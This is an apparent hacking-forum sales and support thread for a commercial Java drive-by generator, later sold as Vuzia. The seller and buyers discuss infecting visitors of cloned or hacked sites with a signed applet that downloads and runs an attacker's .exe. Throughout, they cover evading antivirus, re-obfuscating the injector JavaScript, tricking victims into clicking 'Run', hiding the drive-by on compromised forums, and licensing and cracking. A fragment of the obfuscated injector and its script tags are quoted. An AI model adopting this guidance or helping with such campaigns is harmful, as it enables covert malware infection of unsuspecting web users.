It is not fully complete, but yes. Still some optimization to do, but it's auto updating, so you won't notice any problems.

It depends on some java versions on how the applet is displayed.
Publisher name won't be visible, depending on the OS.
(For example, I run a modded windows XP which doesn't display the publisher correctly)

So, can you help me understand some basic stuff about this, I'm very interested if I can infect people with my keylogger by the just visiting a website.

1. Do we need our own hosting site, or do you provide the hosting?
2. Do you offer Teamviewer support (One session is all I need)
3. FUD updates?

Yes, I offer completely free TeamViewer support, every time you have a problem.

No need for posting this, and I already explained you indepth; that changing it has been limited by Java.

It now depends on allot of factors that I can't even explain.

Sometimes it does show everything, sometimes it just shows unknown

There is NO way to fix that, I already told you and explained it indepth.

Alright.. After having the biggest headache ever from this, my auto updater finally downloads all the files from the server!

Creates the directory if it didn't exist yet, and than downloads the file into it.

Optimizing everything now, giving it a nice GUI, and than it's ready to be released.

Awesome.

Alright, I just got a question and found out people were really stupid enough to even think that way. Someone asked me if they could use MY generator, and sell it on HF taking ALL credits for the software and the applets.

For $15, you can generate the applets, and use them to infect people

You can get resale rights for the APPLETS $500.

Update, you can now set ALL data on the driveby:

Alright quick bug fix:

Simple.java might be corrupted, due to the updater not detecting the file integrity correctly, it updates it with a corrupted file.

Hey I did try reloading it but not getting the pop-up.

Also is it possible if i buy to request a feture like this:

Say i use a imageshack template with this generator then i can use this for multiple things. If they click no on the applet or just close it can I then set the page to re-direct to another page that looks like it is from imageshack but is an error page that says something along the lines of

"you are unable to view this image as you do not have the latest version of java installed. please reload this page and click yes to update to latest java in order to be able to use imageshack latest photo viewer. thanks"

I trust that this works so will prob buy anyways but would def like to see the demo in operation. But mainly interested in the above requested feature.

There are no silent java driveby's atm.

If you want a silent driveby, you will be paying around $10,000 to $100,000 for a 0day that will only work for a few hours, or if you are lucky a few days.

When you sign a applet, it is able to run as root from a web browser by giving a popup to ask if the user allows it.

Hope that answers you're question.

That are called exploit packs, it is a pack filled with allot of known patched exploits, though when you pack up enough exploits and spread over mass traffic you can get a infection rate of up to 20%.

Though with a 0 day, it hasn't been patched. So if you exploit a browser, everyone with that browser will get infected. These types of exploits are called 0 days and cost allot of money.

Hope that explains it.

My program uses a automated system to handle new sales.

Account is instantly set up, details are emailed to the paypal email.

And when they login for the first time, the HWID locks on to that computer.

Some people buy without messaging me.

So I don't know who bought it and who disputed.

I am thinking about adding a panel.

I am looking into setting up a complete host directly on order with source files, direct upload, database etc pre installed.

Though this is just a goal I have, and don't think I will be able to manage it anytime soon.

I will be looking into WHM api's and CPANEL api's and look how far I can manage this.

Some websites are protected against saving the source.

By using local paths etc the site might lose content etc.

I will try to rip it for you once I get home :)

Stormbreaker666 - March 18, 2011, 1:07 pm

Hm, is it possible to detect when the Java application has been run, and then show the website? This way you could just pretend that the java applet is necessary to view the website.

[H]ell - March 18, 2011, 1:15 pm

yes, just put UP a gif that says java loading...

Then people will think that they have to press run.

Stormbreaker666 - March 18, 2011, 1:17 pm

But then is it possible to show the actual website when the applet has loaded? Maybe it could automatically redirect if simply displaying it isn't an option?

Fafaffy - March 19, 2011, 1:16 am

One question: I ran the driveby in VMWare, and it worked beautifully, but there was one problem:

I saw a random process in my task manager, like "xx.exe." Once I killed it, my bot died, and never started back up. But I restarted, and my bot started up, and was persistent, and worked wonderfully.

I was just wondering:

Can you make your file persistent, or actually run our bot properly when the drive-by is executed? Because it can seriously cost me to lose many bots.

I don't really understand that..

The java drive by does not load the file into the memory of the computer, it is downloaded to the %temp% folder, and ran from there. It runs the same as when a user double clicks it.

The only difference is that it renames the file to xx.exe.

Hope that answered the question :)

(Mar 21, 2011 10:37 AM)gerardoxd Wrote: [\[CITE\]](#) NOD32 AntiVirus detects it

NOD32 doesn't detect it.

It has set up heuristic detections to check if a file is being downloaded to the appdata.

It depends on the configuration of NOD32 if it has to detect these types of actions or not.

The applet itself is FUD. So there is nothing I can do.

HTML HAS BEEN RE FUDDERED - IMPORTANT UPDATE

Alright, a few av's have been detecting the javascript that I used to inject the applet without most av's picking it up.

Thanks to the user bl4ck0ut for reporting this issue.

I have updated the source files to now work with a external java script called: Code.js this file has been placed in your Code compiled folder, and you will have to upload it with your HTML and JAR files in order for the driveby to keep working.

This update will assure you for longer lasting fud time, and easy refudding.

Next time you will only have to re upload the javascript file, to update if the drive by has been detected.

.Dream. - March 24, 2011, 10:11 am thank you, for the quick update.

[H]ell - March 24, 2011, 10:47 am

Np, thanks for reporting the detection.

Misoxeny - March 24, 2011, 11:11 am

Which one do I use now, FUDSimple.java or simpe.java?

[H]ell - March 24, 2011, 1:24 pm

You use FUD simple to create a FUD applet, and simple for another download method but not a FUD applet.

Hope that explains.

Update:

Alright I just received a reseller account.

i have been thinking allot on how I will make uploads possible, and I will now write a script that will DIRECTLY upload your driveby to our host, so it will upload automatically.

This will give you the ultimate user experience :)

how do you get it to not say "Not Verified" next to the publisher in the security pop up?

[H]ell - March 26, 2011, 10:29 am

I already explained this about 90 times.

I will explain this one more time, and than I am tired of explaining it again and again.

The publisher field is completely fucked up by java, there is no way you can change it.

My generator already changes it to what ever you specify, but it is completely random to the computer on how it displays.

The screenshot in the thread is also from a applet generated using my generator, like you already can see it doesn't say UNKNOWN or UNVERIFIED. It really, is, completely random.

I have been researching this for a long time, and even the people from Oracle couldn't give me a answer why my applet publisher changed on every pc.

So please, stop asking that question. Thanks.

Quantumdalek - March 27, 2011, 2:55 pm

Heya Im a noob starting to learn here and I would like to ask a question, sorry if it is something stupid or simple but Im a bit lost atm.

Yesterday I set up a facebook java driveby page in a free webhosting, 1st one in SPAM.com and everything worked fine, the page loaded correctly and delivered the driveby. All working as intended.

But today when I was getting ready the driveby in the new free webhosting released by [Hell] for customers and went to check it loaded a blank page and nothing happened, I went to check the old driveby in SPAM and it didnt work neither... it showed the same white empty page.

I started tracking the problem, recompiling the driveby and html page several times without luck. I read this thread and noticed there was an issue with a corrupted js.js file, so I removed my old js.js file from "C:\Java Drive By Generator\update\compiled" started the generator and let it update:

First I had a 193 bytes js.js file with this md5 hash: 96C2D528994244C5162F60F9BF9CA267

And after update I have this 155 bytes js.js file with this md5 hash:
7CC077090B1B3347E1D470CC3470DA9E

Please note for making my facebook trap webpage I upload to the hosting those files, correct me if it is the wrong method:

- the .exe virus
- index.html
- windows.jar
- /facebook_files folder

Everything is properly linked and compiled etc.

So with the new js.js I kept receiving a blank page too, I was completely out of clue, when I decided to disable my browser addons. I use Firefox 3.6.16 and for my surprise the driveby page loaded and worked fine when I disabled "AdBlock Plus" addon...

Now Im completely confused because I think yesterday everything was working fine with ABP enabled... so I dont know exactly what did I change to things not working today until I disabled that addon.

Just wanted to report this issue to see if there is some kind of bug with the driveby or I am doing sumzin wrong or this is a normal behavior.

I am now remaking my second driveby webpage in the customer free hosting but it is being a pain because for some reason it will reject my ftp client program "FileZilla" so I have to make everything manually from user cpanel, but Im confident it will work after I just disable ABP.

Sorry again for the wall of text and thanks for the help this is a great program.

Hiho since I didnt have any feedback for my problem with Adblock Plus and the only news are:

everything is fully working, I decided to investigate it myself at noob speed.

I have done the only logic thing, I have disabled my ABP subscriptions one by one until the driveby generator loaded and I have located the filter that blocks the driveby and produces a blank page, it is:

<https://adversity.googlecode.com>

Its a filter about social sites or sumzin. Now the interesting fact: Im almost sure the driveby worked fine with ABP enabled (that adversity filter included) the first time I made it a few days ago, and started giving blank pages after the js.js update if I remember well.... thats why I was going mad trying to figure what was causing the error.... the last thing I suspected was the Adblock Plus addon.

I have now tested it in both Firefox 3.6.16 and 4.0 with the same result, my Facebook driveby wont work with that ABP filter enabled. And yes if you are wondering the real Facebook page and other social sites load correctly unlike the driveby page.

Firefox is the most popular and used internet browser in the world and Adblock Plus is unquestionably the number 1 addon, so having a problem with it when trying to use the driveby generator is a matter that deserves some attention, imho. That said I hope this info will help developer to improve and polish this awesome program.

Regards.

Fraudster - March 28, 2011, 1:03 pm

I have done the only logic thing, I have disabled my ABP subscriptions one by one until the driveby generator loaded and I have located the filter that blocks the driveby and produces a blank page, it is:

<https://adversity.googlecode.com>

Its a filter about social sites or sumzin. Now the interesting fact: Im almost sure the driveby worked fine with ABP enabled (that adversity filter included) the first time I made it a few days ago, and started giving blank pages after the js.js update if I remember well.... thats why I was going mad trying to figure what was causing the error.... the last thing I suspected was the Adblock Plus addon.

I have now tested it in both Firefox 3.6.16 and 4.0 with the same result, my Facebook driveby wont work with that ABP filter enabled. And yes if you are wondering the real Facebook page and other social sites load correctly unlike the driveby page.

Firefox is the most popular and used internet browser in the world and Adblock Plus is unquestionably the number 1 addon, so having a problem with it when trying to use the driveby generator is a matter that deserves some attention, imho. That said I hope this info will help developer to improve and polish this awesome program.

Regards.

Thanks for this really really detailed information. ?

I have always used chrome, and I am not a huge fan of addons that firefox has.

So I didn't come across this problem before.

Though because of all the information I will research this further, and will see if I can bypass adblocks filter.

Thanks.

I don't know what vbc.exe is.

Though privatze.exe is the renamed file that has been downloaded through the java drive by generator.

I am currently modifying the source to allow the user to update that name.

Progress on that is quite slow though, will be fixed tomorrow or the day after.

I am really really buzy coding a new project which eats up all my time.

As far as I know this isn't a major problem defecting the usage of the program, so the priority isn't the highest.

Sorry if it causes you any problems. But I can't work faster than I do now.

Thanks to you [H]ell for the constant and outstanding support, it is strange that ABP "Antisocial" filter doesn't block your applet but it disables my fake Facebook page, I need to investigate this further.

However this all should be a minor inconvenience, if you check ABP filter list in <http://adblockplus.org/en/subscriptions> you can see the filter that gives me problems is at the very bottom in the Miscellaneous zone, the one called "Antisocial", so it shouldn't be very used or popular.

Anyway like I said I need to investigate it further before I take more conclusions, but from here I will do it the right way through msn or PM, I can be a noob in hacking subjects but I still know how not to derail a fine thread.

Again thanks for the help, this is a great program with deluxe support, the best you can get in HF.

Not working for me and a few other guys seem to have the same problem.

After you create the files and you test locally on your own machine it works great and the Java pop up box displays. As soon as you upload it to a file host the Java pop up box is no where to be seen?

I have been uploading the index.html & .jar file to the hosts. Also the image files etc for the cloned site.

Not sure what the problem is here? I have tried multiple file hosts to no avail.

If anyone finds a solution please share.

Matty - March 30, 2011, 1:34 pm make sure you also upload the js.js also in the same directory as the index and the .jar

Also, make sure you don't already have the same java process opened in your task manager since you already opened it.

stormaman - March 30, 2011, 1:45 pm

I will try that. It didn't say to upload that ;) one minor suggestion, I don't know if this can be improved but here I go :

when I open the index file first I get an activex then after you approve the activex you are asked to run the .exe.

can't we skip a step and only have the web visitor asked if he wants to run the exe not also if he wants the activex run ?

I don't know if it's possible but it would be cool. thanks.

Use DropBox to host your server.

Create a free domain and host it on SPAM or any other free hosting.

I don't recommend using fileave because they randomly ban accounts.

The generator does not make a js.js file for me:(
If I add it with Keylogger it says 16-DOS shit isnt supported :O

Joe67 - April 3, 2011, 5:51 am js.js detected i have send you a PM Hell for report and proof .

netter - April 3, 2011, 6:10 am good to know:

- maybe im a noob, but i tried all possible combination of inputs and never could achieve this:
<http://i.min.us/ijAgyE.png> (i always got "Publisher: UNKNOWN")
- ive decompiled three different jar output, i always got the same java code, so there are no random strings in the source
- the jar is not FUD, Blackshades scanner says 1/26 (detected by Sophos) anyway its a good generator, im love using it :)

(Apr 4, 2011 05:00 PM)NICOTINE. Wrote: [\[CITE\]](#) But what i want from [H]ell tell me if i can change the publisher from unknown to something i want this has been explained multiple times on the thread. But that field is changed to what ever you entered in the Common Name field.

It depends on each Computer on how it displays.
I did extensive testing over all the applets, on multiple computers, and os's.
And I was to find out that it really is just by random on how it appears.

I have been researching this for a long time, and there are no other compile options than the ones I am using now.
It is a client side problem, and not something that can be fixed from out the applet.

freelancerr - April 5, 2011, 12:39 am hell, how can I enter a signature into the java applet ?

I can get the signatures but don't know where to enter them into the java?
maybe you can explain this, I am very interested. thanks.

[H]ell - April 5, 2011, 12:40 am

What do you mean?
Enter a signature into the java applet?

freelancerr - April 5, 2011, 12:51 am when the java applet runs it says the java signature could not be verified, and I know it needs a digital signature like with ssl certificates.

where could I enter that so this warning won't appear.

[H]ell - April 5, 2011, 12:57 am

A signature is already applied to the applets.

You need your certificate verified by a trusted company like oracle itself, to get a verified certificate/signature.

Hope that explains it :)

freelancerr - April 5, 2011, 1:04 am

thanks hell, I know and I want to replace your signature with a verified certificate/signature.
can you please explain how to do that?

[H]ell - April 5, 2011, 1:08 am

Do you have a verified cert?

freelancerr - April 5, 2011, 1:10 am yes I have the cert , that is not the problem, replacing it is :)

Monstard - April 5, 2011, 1:11 am

Do you still have to "trust" the java app, for it to be installed?

freelancerr - April 5, 2011, 1:13 am monstard , it should look more victim friendly with a verified certificate:)

but hell needs to explain us how to proceed.

My product has nothing to do with the files it downloads.

All this driveby does is download a file from a server, and than runs it.

Not a single modification is made to the file. Thus its impossible for it to be incompatible with BS or w/e you use.

Hey, i bought this last night. It seemed to work late lastnight, but today when trying to compile a new applet it seems just to throw errors within IE and FF when I open the site. I have tryed re-making it several times with the same issue. I was wondering if you changed or updated anything today? Anyone else have this problem? And I wanted to say thanks, it is fully FUD so I vouch!

edit: Im some sort of idiot. Just saw your post about the update. Now I have to go back and re-try everything. LOL - but take a look at what I said anyway.

Make sure you have set the java path correctly.
YOu can check it by going to:
start -> cmd -> PATH

It will give you all the path's.
Check the one for java, and make sure if it set correctly.

[H]ell - April 11, 2011, 12:39 am

I will release a HUGE update this week.

Please don't complain in the thread if the quality of the product slowly goes down the coming week.

Allot of things are going to be updated, and I try to make the previous version VOID for certain reasons.

Thanks for understanding,

-[H]ell.

Added you on msn if this is still available.

[H]ell - April 11, 2011, 2:47 am

Very important update 11/04/2011

This week I am planning one of the biggest update this week.

This is great news for all my customer, but this is more a forced update.

Recently my software got cracked, and is now being leaked in premium sections of a certain forum. This is bad news for all existing customers, and for my sales.

The jars are now widely distributed, and will get detected quite fast.

I am expecting 7/42 detections at the end of this week.

Things new in the coming update:

Upgraded security.

The new login server will have a polymorphic reply message, making a static reply impossible.

Java files are now located at the server, and are encrypted with your username, and a few more parameters.

The encryption expires after each encrypt, again making a static reply impossible. And cracked versions wont work unless they have the algorithm to encrypt and decrypt the java files.

100% FUD output: http://scan4you.net/result.php?id=b8645_969t5

A online ticket system. This ticket system has been made because of the huge amount of customers requesting support and teamviewer sessions, making it impossible for me giving each customer a fair time in support.

It is really not cool to log into msn and having 20 people messaging you ?

Data sync. I am going to try to get each customer enter his msn and hackforums name, so I always know who I am talking to in support, and keep everything optimized.

Reset your own hwid up to 2 times! In the ticket system, you can also reset your own hwid up to 2 times.

You are required to fill in a simple form with the reason of reset, this is more for my own usage, so I might be able to optimize the hwid system.

Dropped exe name. Currently you can't change the exe name of the dropped file, the new java files and generator will allow you to set your own exe name for the downloaded file.

This week the software might lose quality, and support might lower because of the amount of work going into this update.

Thank you for understanding. And please don't complain in the thread during this hard week of work.

Regards,
-[H]ell.

New World Order - April 11, 2011, 3:43 am alps - April 15, 2011, 10:06 am

Need this as soon as you are online mate. Thanks. :)

[H]ell - April 16, 2011, 4:06 pm

Your previous post was junked for a reason.

No need to post useless shit in my threads.

Just pm me if you have a problem, and I will reply to it.

Also open your eyes, and read that huge ass message that I have put on top of this thread.

Your account is now moved into limited support.

Read the TOS about what it means.

nxk - April 16, 2011, 4:15 pm

hey when its FUD again PM me and I will purchase this take care

nxk

[H]ell - April 16, 2011, 4:17 pm

I am not going to PM 50+ people when the update is released. So they can THAN buy.

This software comes with a auto update feature.

If you wanna wait, be my guest. But I am not going to inform every single person when the update is released.

Either buy it now, or book mark the thread.

Matty - April 16, 2011, 4:47 pm

Guys, please don't add me on MSN telling me you want to buy it, only add me if you have problems with the drive by. I don't have access to payment information, hosting , or anything else. Thanks.

Looking forward to the update, only drive by i've ever used and have no complaints what so ever'

[H]ell - April 19, 2011, 3:10 am

Alright just to inform you why the update is delayed:

I doing a internship and that is far far away from my computer with all the sources.

I wont be back at my apartment for the next 2 weeks.

Now I have 2 options:

Download visual basic and everything on my laptop, and completely rewrite the software.

Or wait w/ updating for 2 weeks.

Up to you.

SuckMyDong - April 19, 2011, 3:43 am

Well since we all want to have a fud driveby and we are waiting some time now, it would be great to finally get it..

If i where u i just rewrite the code and keep smiling customors

Writing the software will take at least one week.

You have to understand that I have some sort of a live to.

Just wanna know if customers are going to get really mad.

Internet Discovery - April 19, 2011, 5:45 am

To be honest, i'd rather just know what's going on. I don't sit online all day thinking up ways to get slaves so a short wait isn't a huge issue. If you're busy for 2 weeks with real life stuff, so be it.

You could always download everything to your laptop and work on it in your spare time, so when you're home it'll be quicker to get finished

ChilliBeefSausage - April 19, 2011, 6:38 am

I wish you would of just said this in the first place so I didn't buy it the other day.

I am doing my internship.

I have to be here for the next 2 weeks, don't have time to travel back.

Though for my customers I can release a a FUD applet, that will require you to enter a special file name in order for it to be fud.

Though, since my software is cracked I'd rather not do it, since it also works with the cracked version of the software..

It's only one AV that detects it, and that is norton, so it isn't really worth rewriting the complete software for.

Though I have over 300 customers that I have to satisfy, and I wanna know if they understand this problem or not.

(Apr 19, 2011 06:38 AM)Nelinski™ Wrote: [\[CITE\]](#) I wish you would of just said this in the first place so I didn't buy it the other day.

I had to get up at 5 AM to catch my boat to the internship.

I was working till 1AM on updating this software, how the fuck could I help it that I forgot the source.

guer666 - April 19, 2011, 11:26 am

It was working for me all the time and suddenly now it doesnt. I open the generated html file and there is a code only, no java pop up :/

Fraudster - April 19, 2011, 11:47 am yea im not getting the pop up anymore and it was working the other day :S

ChilliBeefSausage - April 19, 2011, 3:16 pm

I wasn't having ago, was just stating as it just looked like it was getting updated in a couple of days. Didn't realise it was only 1 detected. Thought it was hell loads more because of your prediction. :)

Sorry guys.

Dont have windows on the laptop I took with me for the internship.

I will try to contact Matt asap to check this out, and maybe I can use his computer over TV to fix the problem and release a smal update.

Sorry for all the problems.

I feel fucked that I forgot the source at my apartment...

I will give out a new java source that is FUD.

I hope I have the file encryptor I wrote to encrypt the sources to be used with the software on my USB.

Than I will just have to release the applet that also works with the cracked version of the software :\

Will write a complete new applet after the software is updated.

Hope I can do this today.

I need to upload the "js.js" file?

I have only been uploading the ".html" & ".jar" files

Is this the right code to add in?

Code `<script src='js.js'></script><script>ba('%class_name%', '%jar_name%');</script>`
In between:

Code `</body></html>`
So it would be:

Code `</body><script
src='js.js'></script><script>ba('%class_name%', '%jar_name%');</script></html>`

Hey guys, I got this drive by generator a while ago and it worked fine, but recently I have tried again. I re generated it, uploaded all the files from the 'compiled' folder, but all i see on the html page is:

Code

`t>x64\x74\x68\x3D\x27\x31\x27\x20\x68\x65\x69\x67\x68\x74\x3D\x27\x31\x27\x20\x63\x6F\x64\x65\x3D\x27", "\x27\x20\x61\x72\x63\x68\x69\x76\x65\x3D\x27", "\x27\x3E", "\x77\x72\x69\x74\x65"];var`

a=_0xb950[0];var b=_0xb950[1];function write(){document[_0xb950[5]](_0xb950[2]+a+_0xb950[3]+b+_0xb950[4]);} ;write();
Any idea's?

Sage, your license has been limited for the next 1 week1.

You didn't take the time to read the OP. Thus I do not have to support you any longer.

If you had questions, and just pm'd me or Mr Matt they would've be answered without a problem. Though you feel like lying, and thinks it will get you supported faster. This doesn't work that way.

Have a nice day, and enjoy the software.

Feel free to PM me next week. (7 Days after this post was made).

Sage - April 29, 2011, 9:02 am

[H]ell, I pmed you asking for help. All you said was "I have 4 pms from you, ask Mr.Matt or add my hotmail" I added your hotmail, you haven't been on. I then asked Mr.Matt and all he said was "You have to make sure you are using a direct link". Well yes I am, I already explained that. Why does my support get limited for asking how to work this generator correctly. If I spent the money on buying it, I deserve to have all the support I need to actually be able to get the software up and running.

Also I do see where you said "If you post in the sales thread I will be limited". Well I contacted you and Mr.Matt asking questions about how to get it working, and from you I get "Ask Mr.Matt". I asked Mr.Matt and still didn't receive help. Where else am I supposed to post a thread asking for help if you guys aren't helping me at all? I'm not trying to be ignorant or anything but I would really like some help with a product I purchased with my own money.

Ok question.

Idk if it's updated yet or not.

If it hasn't when it does get updated how would I receive the updated version?

Is it like an auto update system were you run the file and it updates on its own?

Or

Do I have to download the latest version myself? If so where would the link to download the latest version be found?

Thanks in advance.

(Apr 29, 2011 09:02 AM)Sage Wrote: [\[CITE\]](#) [H]ell, I pmed you asking for help. All you said was "I have 4 pms from you, ask Mr.Matt or add my hotmail" I added your hotmail, you haven't been on. I then asked Mr.Matt and all he said was "You have to make sure you are using a direct link". Well yes I am, I already explained that. Why does my support get limited for asking how to work this generator correctly. If I spent the money on buying it, I deserve to have all the support I need to actually be able to get the software up and running.

Also I do see where you said "If you post in the sales thread I will be limited". Well I contacted you and Mr.Matt asking questions about how to get it working, and from you I get "Ask Mr.Matt". I asked Mr.Matt and still didn't receive help. Where else am I supposed to post a thread asking for help if you guys aren't helping me at all? I'm not trying to be ignorant or anything but I would really like some help with a product I purchased with my own money.

Any reason why you still posted in the thread, even though it said your support would get limited? Btw you are on 2 weeks now. Either pm me, or figure the problem out yourself.

You sended me 4 pm's in one hour.

I have over 300 customers. Last time I checked it were like 328.

If 328 people pm'd me 4 times in a few hours. (Lets say 3)

$24 / 3 = 8$.

$(328 \cdot 4) \cdot 8 = 62976$ pm's a day.

Hope that came through that thick skull of yours.
I FINALLY GOT MY COMPUTER BACK!!

That officially means that I am updating the software, and I am going to pull a all nighter to try to finish it before I have to go to work in 12 hours.

Expect a update soon.

Internet crashed. Can't upload files or sumshit.

Update will take a bit longer -_-.

Sorry for this, im at internship can't really do anything about the internet. bbl

Also my freind xboxmad tells me that the new updates been leaked also so AVOID

Just came home from a party so my grammar might not be to perfect, or I just miss interpreted your lame response.

Though since my whole world is spinning right now, I might as well reply.

First thing I want to clarify to all buyers that might read this stupid response and rethink the buying process, think about this:

The guy who made this reply has a ton of negative reps, also the statements he made in his posts are false.

The latest updates are on my macbook which will not be cracked or hacked in a long shot. There is no realistic way that a 3'd party could've accessed my macbook and steal the latest update.

Also he said that we were flaming/giving bad support to customers.

The only time that bad support is given is when a customer is in limited support mode. Before you get in that phase, you show that you have no common sense at all. And also dont see that this software is ran by a 2 man team.

The only supporter I have right now is Mr. Matt. And we have over 300 customers to support each day.

So the statement made about the support is also false.

I flamed at one 'future' customer today, because he kept asking questions about stuff explained in this thread already. I didn't feel like I needed him as one as my customers, because he would just've been a pain in the ass to support.

And now his friend comes in this thread to post that kind of shit.

I don't even feel like reporting your post bud, because it just shows your stupidity.

Hope he gets my website down for 10 minutes, just to make his epenis grow.

> I think it will. He must feel like such a bad ass hitting with a shell booter.

He wont be able to keep the login server down.

Also the new update will encrypt with a polymorphic value. So even if you manage to create a static reply, the bot wont be able to decrypt it. Thus rendering your static/faked server useless.

I will give u crackers a hing; look for the last 4 bytes.

It's not fair for us that we spend time making out a nice layout and rules for the thread, but everyone seems to ignore it and skip to the last page and ask the same question 5 times everyday.

True dat.

You have to understand that I have over 350 customers, and me and matt handle everything.

So all the people that just ignore the rules and bluntly post in the thread don't really deserve the support.

Almost all the customers I have are happy. Those are the ones that didn't post in the thread begging for support. Asking questions already answered tons of times.

Though if one of the 3xx customers just ignores all the rules we put in the thread, and posts here. Of course he is not going to be happy when he gets what he deserves.

Though that is one out of hundreds. And that one is the one that ignored every rule we laid out for him.

Its like shooting someone in public. Only a few people do it.

But the ones that do it, are the ones getting attention. If you dont shoot someone in public, you wont hit the news, so no one will know you. ;D

No, this software doesn't grab anything, it just creates a FUD java drive by.

A java drive by is where a java applet appears on the screen and if the user oks the applet, it downloads and runs an .exe of the users choice without the person on the other side ever knowing.

HappySocks - May 1, 2011, 6:03 pm

Hi, does this java driveby still have that pop-up where it says the signature isnt verified? I'm confused because you say it auto-signs but theres also that picture of the verification popup where they have to click run.

frankledges - May 1, 2011, 6:38 pm

Thanks for replying my questions, i truly appreciate it. Can you guys make a software or script that can grab emails logins and ip on the go, without the victim downloading anything, just click on the link (boom the email address and ip is sent to your inbox).

I have ran into some encryption issues tonight, making the polymorphic encryption a pain in the ass.

THOUGH I will not release ANY update before I get this fixed.

This is for the sake of preventing people from cracking v2.0 of this software.

I have received multiple threats from people who are saying that they are going to crack my software, or leak it for that matter.

Some even said that they would buy it JUST to leak it to cracking forums.

Well I hope they dream well about cracking this, because it will not happen, not in a long shot.

KoD™ - May 10, 2011, 3:15 pm

Can't wait for the release, need FUD Java Drive :)

SlaYoRz - May 10, 2011, 6:44 pm

[H]ell - May 20, 2011, 12:44 pm

Alright, for the people being sketchy about this and how crackable it is.

You would have to get through 2 polymorphic encryptions. Both completely different algorithms

I will give you 2 server replies, I just hit the: "Refresh" button twice.

If you manage to decrypt that, you will be left with 1 part of the java source.

The other part again, is encrypted with a completely different algorithm.

Good luck.

Any ideas?

Yes, it is currently FUD, and you receive all future FUD updates for the applet and any updates to the generator itself.

Thanks for being interested in [H]ell's Java Drive By.

Does the .class file get encrypted in this version? I may buy it if that is encrypted/obfuscated. I don't need skids looking at it finding out where the virus came from on their sites.

[H]ell - June 17, 2011, 1:02 am

What do you mean with encrypted?

TheEnd-cR - June 17, 2011, 9:52 am

(Jun 17, 2011 01:02 AM)[H]ell Wrote: [\[CITE\]](#) What do you mean with encrypted?

Obfuscated or encrypted, sorry. I'm able to obfuscate the HTML portion of the code when I place it into a site, but I don't know how to obfuscate the .class file (where the download location is, etc.).

If it were encrypted/obfuscated, you'd have that extra security & you'd be safe from prying eyes.

I ask this because I don't make driveby sites like fake YouTube or Facebook sites, I hack sites and then insert the driveby into it; forums are a perfect example. You just hide your stuff deep enough into their FTP and they'll never know - and you'll infect a bucketload of people.

Make sense? I hope?

Matty - June 17, 2011, 10:14 am

What me means i obfuscating some of the things in the .class file so they can't decompile the .jar and just pull out the download link for the .exe, etc.

Exactly. All you have to do to "decompile" a jar is just open it with WinRAR, and boom - open the class file with NotePad or WordPad and you're good to go. Obfuscating it would help to deter this, obviously.

You might wanna consider talking to matt / matty.

I have let everyone obviously know that I currently dont have time to work on the software or customers.

If you are so fucking mad, dont post it in the sales thread.

I never asked you to buy 2 copies of my software, and I dont see why you would.

A HWID is reset within a few minutes. So all it would've taken you is a pm with your username, and a valid reason for a reset.

And 9/10 times I grand my customers a reset.

With the most drive-by's i couldn't infect serveral victims before but since the new update from this drive-by came out i managed to infect them. Thank you [H]ell for updating your software. I definitely recommed purchasing this if your in need of a drive-by. ShikTik - August 30, 2011, 4:48 pm

I'm slightly confused with the new updated version as I've been gone for 2-months. Now instead of a direct url to the exe it uses a token and when I add a file to the vuzia panel the token is entirely different than that of which is input into the generator and I can not edit the one in the generator. How do I proceed with having the driveby access the executable from the correct url now that it uses a token system?

I select the file url as the correct one I added through the panel but when people access it and it says I've received "67" downloads it in-fact did not infect anyone so I'm not sure why. And I know the executable works as I've tested it several times before posting this issue I'm currently experiencing.

Thanks and Regards,

James-

There is no way you can use the old version with FUD applets.
I encrypt everything version dependent so that cracked versions will become useless on each update.

Just use <http://vuzia.com> to set your links.

Depends on what forum it was. If it was a quote on quote 'regular forum' (People who don't know about Java Drives By, etc.) you might get 5k (50% chance, either they click yes or no). You can really say. The infection rate is 100% though, depends on your bin also. The person just needs java

Online, and ready to support.

To all people getting mad when support is low in the weekends, I work and relax in the weekends. I am online for support from Monday to Friday. 9 to 5 (GMT + 1).

I'll also be online after those times, but might not always be able to help you out than. Because I'm freelancing at those times.

Quick development update regarding vuzia web: \(Click to View\)

Just finished the compiler in PHP/HTML and PERL.
The current functional version looks like this:

Design might change though, don't know yet.

Anyways, it works as it is now :).

I can upload any HTML, and it will auto edit it to inject the HTML, and compiles the JAR etc.

Now writing a function to ZIP everything up, and add some AJAX/ javascript, so you don't have to refresh to check if it has finished compiling.

After that I am going to work on DATABASE shit, storing everything for each user etc.

This is not available yet, don't pm me regarding how to get this version. You will get updated to VUZIA WEB soon.

Nice job, can you clone pages with this? I may consider buying.

[H]ell - October 9, 2011, 3:18 pm

Not yet, will most likely add it though.

But cloning a page is as easy as going to any website in your browser, hit CTRL+S, and upload the index.html to vuzia's web panel.

Making a customer cloner for the webversion takes up alot of bandwidth, and isn't a high priority now.

You probably have a strong firewall OR malwarebytes protection on.

Turn it off and it works.

All the problems are now fixed, we've gotten a new dedi.

Vuzia.com

[H]ell - October 25, 2011, 6:30 am

First demo video is out!

The stuff that you see on the right, that says "Waiting for new tasks.. There are:0 active tasks."

Is the compile engine, that is running on the VPS.

It is able to run up to 20 tasks at once, currently have it set to a max of 10 for security reasons.

It's fast enough anyways :).

Vouch for [H]ell he knows what he is doing.

JIT Debugging

To enable just-in-time (JIT) debugging, the .config file for this application or computer (machine.config) must have the jitDebugging value set in the system.windows.forms section. The application must also be compiled with debugging enabled.

For example:

<configuration>
  <system.windows.forms jitDebugging="true" />
</configuration>

When JIT debugging is enabled, any unhandled exception will be sent to the JIT debugger registered on the computer rather than be handled by this dialog box.

Please Help ! Im using jdk1.7.0 . please provide me link to download version of java JDK working with Vuzia . Thanks!
